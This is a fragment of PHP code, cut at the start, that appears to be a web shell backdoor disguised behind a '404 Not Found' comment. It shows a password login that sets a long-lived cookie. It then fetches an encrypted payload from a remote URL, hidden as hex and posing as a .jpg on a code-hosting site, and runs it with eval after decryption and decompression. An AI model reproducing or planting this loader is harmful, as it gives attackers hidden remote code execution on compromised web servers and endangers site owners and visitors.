// 404 Not Found
Password:
HTML; if ($_POST['pwd'] == true) { $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'), $_POST['pwd'], true))); if ('true' == $true) { setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30); exit('{"status":"on"}'); } else { exit('{"notice":"API-ERROR"}'); } } if ($_COOKIE['key'] == true) { $true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63d4e5680efdc93c917d65d497f04f219b98cf339d0e3dc01bcb3a23a48a5736808ddd8d5d203094551b0032e00d2c'), $_COOKIE['key'], true))); if ('true' == $true) { if ($_SESSION['code'] == null) { $_SESSION['code'] = _REQUEST(sprintf("%s?%s",pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f636f64652e6a7067'),uniqid())); } else { $_SESSION['code'] = $_SESSION['code']; } eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_COOKIE['key'], true)))); } } if ($_COOKIE['key'] == null) { echo str_replace('{self}', $_SERVER["SCRIPT_NAME"], $login); exit(); } } function _Content($fsock = null) { $out = null; while ($buff = @fgets($fsock, 2048)) { $out .= $buff; } fclose($fsock); $pos = strpos($out, "\r\n\r\n"); $head = substr($out, 0, $pos); //http head $status = substr($head, 0, strpos($head, "\r\n")); //http status line $body = substr($out, $pos + 4, strlen($out) - ($pos + 4)); //page body if (preg_match("/^HTTP\/\d\.\d\s([\d]+)\s.*$/", $status, $matches)) { if (intval($matches[1]) / 100 == 2) { return $body; } else { return false; } } else { return false; } } function _REQUEST($url) { $url2 = parse_url($url); $fsock_timeout = 30; //5 second if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout)) < 0) { return false; } $request = $url2["path"]; $in = "GET " . $request . " HTTP/1.1\r\n"; $in .= "Accept: */*\r\n"; $in .= "User-Agent: E/1.0 EBSD\r\n"; $in .= "Host: " . $url2["host"] . "\r\n"; $in .= "Connection: Close\r\n\r\n"; if (!@fwrite($fsock, $in, strlen($in))) { fclose($fsock); return false; } return _Content($fsock); } // ?>